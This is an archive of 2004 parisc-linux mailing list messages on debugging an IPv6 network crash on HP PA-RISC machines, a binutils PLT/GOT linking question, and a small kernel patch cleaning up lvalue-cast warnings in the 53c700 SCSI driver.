List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24857



M. Grabert wrote:
> On Sun, Jun 27, 2004 at 02:59:56PM +0000, Joel Soete wrote:
> 
>>Hello all,
>>
>>I find interesting to report the success of following test on my c110
>>with k-2.6.7-pa1 + ncr patch:
>>
>>* I just tar my kernel src tree in a 'big' file of about 200Mb
>>  (previous patch that was enough to crash the system)
>>* I scp (ipv4 first) this file to my pc (it takes about 4:15 with
>>  a 10Mb nic that's a rate of less then 1MB/s Ok for me)
> 
> 
> BTW, what kind of NIC (ne2k, tulip, etherexpress, some 3com ...?)
>
umm I don't yet test hwinfo but btw dmesg tells me:

LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 87
CLASS: registering class device: ID = 'eth0'
eth0: 82596 at 0xffd07000, 00 60 B0 07 1E EA IRQ 87.

> 
>>  (i do this from hppa to pc because Guy's report indicates that
>>   tx stuff was the pb)
> 
> 
> I'm still suspicious that the network card (ie. the driver) could
> cause Guy's problem,

Should be: the builtin card is the same as the c110 (at least uses the same driver) but the additional one uses 3c509.c
(with one I had so much pb some time ago on my i386)

> although his kernel stack dump doesn't give
> any indication and suggests to look somewhere else (ie. IPv6)
>
The same for the ncr, it's only thanks to knowledge and experience of Grant, James, Matthew (sorry if I forget somebody else) that 
I reach to locate and fix the pb. Mel Gorman tool CodeViz just help me to figureout a bit how to read the stack dump but not 
really more.

> 
>>* I recompile the kernels (pc & hppa) to add just CONFIG_EXPERIMENTAL & 
>>  CONFIG_IPV6 (also CONFIG_IPV6_PRIVACY don't know yet if required)
> 
> 
> If you don't assign a IPv6 address to a NIC manually, IPv6 does
> create one automatically. With 'Privacy Extensions' enabled,
> the address autoconfiguration uses 'random' IPv6 addresses instead
> of deriving them from the MAC address (EUI-64).
> 
> Since you set up your IPv6 addresses manually, you don't need
> CONFIG_IPV6_PRIVACY). BTW, you also have to explicitly turn those
> 'privacy extensions' on (via /proc) if you want to use it.
> 
> 
>>* refering to <http://people.debian.org/~csmall/ipv6/setup.html>
>>  and with Guy's help, after reboot I choose the simplest way and
>>* config my second pc nic with 'ifconfig eth1 add 
>>  2001:0db8:0005:0006::79/64'
>>* config the buildin nic of my hppa with: 'ifconfig eth0 add 
>>  2001:db8:5:6::78/64'
>>* i can ping6 (added thanks to iputils-ping dpkg) each other ;)
>>* I just add those to ip6 address to my /etc/hosts:
>>  2001:db8:5:6::78	hpal-ip6
>>  2001:db8:5:6::79	sidh-ip6
>>* i re-launch scp of previous 200Mb file from hppa to pc and all is Ok ;)
>>* and do the reverse (pc to hppa) with same success (just a bit
>>  slowest: ie 4:47 min in place of 04:12)
> 
> 
> Well, what else is different from Guy's config?
> He's using the machine as a IPv6 router, so you might have to
> simulate this aswell in order to trigger the same problem that Guy
> has.
Yes, I just try step by step. More over I don't have second nic (and no chance no cache another one), so that will be difficult :(

> As I said, I have virtually the same IPv6 setup as Guy has,
> but I don't have the problem on my C3000.
> 
Thanks again,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ipv6 problem with 2.6.7-pa1
Date: Sun, 27 Jun 2004 17:40:01 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <40DF0671.1070007@tiscali.be>
References: <20040622005559.GA24406@sal.ucc.ie>
	<40BD9F050000D9F3@ocpmta1.freegates.net>
	<20040623050009.GB27085@colo.lackof.org>
	<40DEE0EC.5040700@tiscali.be> <20040627161152.GB8598@sal.ucc.ie>
	<40DEFAD3.5050105@tiscali.be> <20040627170842.GC8740@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624458 25549 80.91.229.3 (22 Nov 2014 02:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2437 invoked by uid 65534); 27 Jun 2004 17:40:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 27 Jun 2004 19:40:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 14F3D3BE42; Sun, 27 Jun 2004 11:40:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05840-02; Sun, 27 Jun 2004 11:40:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C45203BE24; Sun, 27 Jun 2004 11:40:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7535D3BDEE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 11:40:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05382-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 11:40:03 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 505F63BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 11:40:03 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8D79D4948EF; Sun, 27 Jun 2004 11:40:00 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP
	id B77C2494679; Sun, 27 Jun 2004 11:39:59 -0600 (MDT)
Original-Received: from [83.134.226.117] (helo=[83.134.226.117])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BeddG-00041H-AW; Sun, 27 Jun 2004 19:39:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7) Gecko/20040624 Debian/1.7-2
X-Accept-Language: en
In-Reply-To: <20040627170842.GC8740@sal.ucc.ie>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24858



M. Grabert wrote:
> On Sun, Jun 27, 2004 at 04:50:27PM +0000, Joel Soete wrote:
> 
>>>BTW, what kind of NIC (ne2k, tulip, etherexpress, some 3com ...?)
>>>
>>
>>umm I don't yet test hwinfo but btw dmesg tells me:
>>
>>LASI 82596 driver - Revision: 1.30
>>Found i82596 at 0xffd07000, IRQ 87
>>CLASS: registering class device: ID = 'eth0'
>>eth0: 82596 at 0xffd07000, 00 60 B0 07 1E EA IRQ 87.
> 
> 
> Ooops, sorry. I thought you also used a second NIC ...
> 
No pb.
> 
> I mean his additional network card (the 3com) could be the trouble
> maker.
> 
Well I also miss something important: this 3com is certainly a isa model and so btw uses the wax-eisa driver which afaik is not 
the must (http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021613.html ?)

> 
>>Should be: the builtin card is the same as the c110 (at least uses the
>>same driver) but the additional one uses 3c509.c
>>(with one I had so much pb some time ago on my i386)
> 
> 
> And which I had so much trouble half a year ago in my C3000.
> 
Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ipv6 problem with 2.6.7-pa1
Date: Sun, 27 Jun 2004 20:48:20 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <40DF3294.5000902@tiscali.be>
References: <20040622005559.GA24406@sal.ucc.ie>
	<40BD9F050000D9F3@ocpmta1.freegates.net>
	<20040623050009.GB27085@colo.lackof.org>
	<40DEE0EC.5040700@tiscali.be> <20040627161152.GB8598@sal.ucc.ie>
	<40DEFAD3.5050105@tiscali.be> <20040627170842.GC8740@sal.ucc.ie>
	<40DF0671.1070007@tiscali.be> <40DF0BAE.2000406@tiscali.be>
	<20040627192754.GA9095@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624458 25557 80.91.229.3 (22 Nov 2014 02:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30745 invoked by uid 65534); 27 Jun 2004 20:48:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 27 Jun 2004 22:48:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9E07C3BE33; Sun, 27 Jun 2004 14:48:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07992-03; Sun, 27 Jun 2004 14:48:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B13B53BE06; Sun, 27 Jun 2004 14:48:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 037343BDED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 14:48:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07895-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 14:48:21 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8C46D3BDEB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 14:48:21 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BA8C24948EF; Sun, 27 Jun 2004 14:48:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP
	id A309F494679; Sun, 27 Jun 2004 14:48:17 -0600 (MDT)
Original-Received: from [83.134.226.117] (helo=[83.134.226.117])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BegZU-0003Lr-4K; Sun, 27 Jun 2004 22:48:16 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7) Gecko/20040624 Debian/1.7-2
X-Accept-Language: en
In-Reply-To: <20040627192754.GA9095@sal.ucc.ie>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24859



M. Grabert wrote:
> On Sun, Jun 27, 2004 at 06:02:22PM +0000, Joel Soete wrote:
> 
> 
>>>Well I also miss something important: this 3com is certainly a isa model 
>>>and so btw uses the wax-eisa driver which afaik is not the must 
>>>(http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021613.html ?)
>>>
>>
>>Or more recent again:
>><http://lists.parisc-linux.org/pipermail/parisc-linux/2004-March/022686.html>
> 
> 
> Sorry to disappoint you (and me), but our theory of a broken EISA/network
> card driver is pointless. Guy already pointed out that he's only using
> the onboard lasi card,
Yes he remember me ()

> and that there is in fact no card in the EISA slot atm.
?
any way, in the dmesg he sent us this card appears well and I have no clue how much this card, even not used could disturbe its 
system?
> I even doubt the 3com network card driver (compiled as module) is loaded into
> kernel space.
> 
> Also interesting is the fact that his system is still running after the
> kernel oops, and only the network (IPv4 and IPv6) is not working anymore.

I presume that the developper find the fact to not being able to tx a data is less critical then lost to write data on disk?

> Might this indicate that it is not really IPv6-stack related, but the problem
> is somewhere else in the networking code?
> 
I have this feeling (so similar to my ncr pb: same lasi+ccio-dma drivers, when writing and with high i/o rate?)
It's possible that my patch is not enough or has border effect?
For the moment Guy as recompile a 2.6.6-pa4 with my patch and awaiting to reboot it.
If it unfortunately it still failled, I will ask to try a 2.6.3 (ie the last one I can boot without pb on my c110 ;)

Regards,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils 2.15?
Date: Sun, 27 Jun 2004 23:25:28 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <200406280325.i5S3PSrM020383__7970.25033175505$1416624458$gmane$org@hiauly1.hia.nrc.ca>
References: <20040621151800.GC16360@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624458 25564 80.91.229.3 (22 Nov 2014 02:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:38 +0000 (UTC)
Cc: jakub@redhat.com,
 binutils@sources.redhat.com,
 amodra@bigpond.net.au,
 parisc-linux@parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23220 invoked by uid 65534); 28 Jun 2004 03:26:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 28 Jun 2004 05:26:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EB62D3BE05; Sun, 27 Jun 2004 21:25:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11176-07; Sun, 27 Jun 2004 21:25:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A861A3BE06; Sun, 27 Jun 2004 21:25:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D8053BDEB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 21:25:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11176-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 21:25:32 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7EEE23BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 21:25:32 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 157CD4948EE; Sun, 27 Jun 2004 21:25:32 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 42BE0494679
	for <parisc-linux@parisc-linux.org>;
	Sun, 27 Jun 2004 21:25:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5S3PTCp020385; Sun, 27 Jun 2004 23:25:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5S3PSrM020383;
	Sun, 27 Jun 2004 23:25:28 -0400 (EDT)
In-Reply-To: <20040621151800.GC16360@baldric.uwo.ca> from "Carlos O'Donell" at
	Jun 21, 2004 11:18:00 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24860

> > There's a lazy linking stub inserted at the end of the .plt section that
> > loads the .got address by
> > 
> >   b,l	1b,%r20
> >   depi	0,31,2,%r20
> > 
> > ie. it depends on .got immediately following these instructions.
> 
> My apologies for a tardy reply.
> 
> We don't *have* to depend on the .got immediately following these
> instructions. Technically we look for a signature at the end of the PLT.
> The code in glibc looks beyond the last relocation in the following 
> equation:
> 
> ptr = reloc->r_offset + l_addr + PLT_ENTRY_SIZE + SIZEOF_PLT_STUB
> 
> And if it finds the signature at ptr[-2] and ptr[-1], then it
> acknowledges that as the PLT stub. It then by proxy knows that the GOT
> should be at ptr[0], but it doesn't have to rely strictly on this, I'm
> more than willing to add more code to glibc to remove this restriction.

>>From my perspective, we need binutils to work with existing versions
of glibc.  While Carlos' offer to work on removing the restriction is
commendable, the details of this haven't been worked out or tested.
I believe that we need GOT after PLT until the glibc changes are
available and widely distributed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cast of lvalue warning in the last k 2.4.27-rc2 ...
Date: Tue, 29 Jun 2004 16:00:56 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <40BDA020000122B5@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624459 25567 80.91.229.3 (22 Nov 2014 02:47:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "James Bottomley" <jejb@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27056 invoked by uid 65534); 29 Jun 2004 14:01:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 29 Jun 2004 16:01:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F01CB3BDD5; Tue, 29 Jun 2004 08:01:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30123-04; Tue, 29 Jun 2004 08:01:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 62A4A3BDDB; Tue, 29 Jun 2004 08:01:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 513473BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Jun 2004 08:01:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30123-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Jun 2004 08:01:00 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4DC8D3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Jun 2004 08:01:00 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8F4E54948EF; Tue, 29 Jun 2004 08:00:59 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP
	id 00544494679; Tue, 29 Jun 2004 08:00:58 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 29 Jun 2004 16:00:56 +0200
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24861

Hello James,

If still some interest for 2.4 I just backport some 2.6 stuff for your dr=
iver
53c700 to cleanup '... lvalues is deprecated warning':
--- linux-2.4.27-rc2-pa4mm/drivers/scsi/53c700.h.Orig	2004-06-29 10:24:01=
.766864352
+0200
+++ linux-2.4.27-rc2-pa4mm/drivers/scsi/53c700.h	2004-06-29 10:30:27.6472=
01624
+0200
@@ -109,18 +109,25 @@
 static inline void
 NCR_700_set_SXFER(Scsi_Device *SDp, __u8 sxfer)
 {
-	((unsigned long)SDp->hostdata) &=3D 0xffffff00;
-	((unsigned long)SDp->hostdata) |=3D sxfer & 0xff;
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l &=3D 0xffffff00;
+	l |=3D sxfer & 0xff;
+	SDp->hostdata =3D (void *)l;
 }
-static inline __u8 NCR_700_get_SXFER(Scsi_Device *SDp)
+static inline __u8
+NCR_700_get_SXFER(Scsi_Device *SDp)
 {
 	return (((unsigned long)SDp->hostdata) & 0xff);
 }
 static inline void
 NCR_700_set_depth(Scsi_Device *SDp, __u8 depth)
 {
-	((unsigned long)SDp->hostdata) &=3D 0xffff00ff;
-	((unsigned long)SDp->hostdata) |=3D (0xff00 & (depth << 8));
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l &=3D 0xffff00ff;
+	l |=3D (0xff00 & (depth << 8));
+	SDp->hostdata =3D (void *)l;
 }
 static inline __u8
 NCR_700_get_depth(Scsi_Device *SDp)
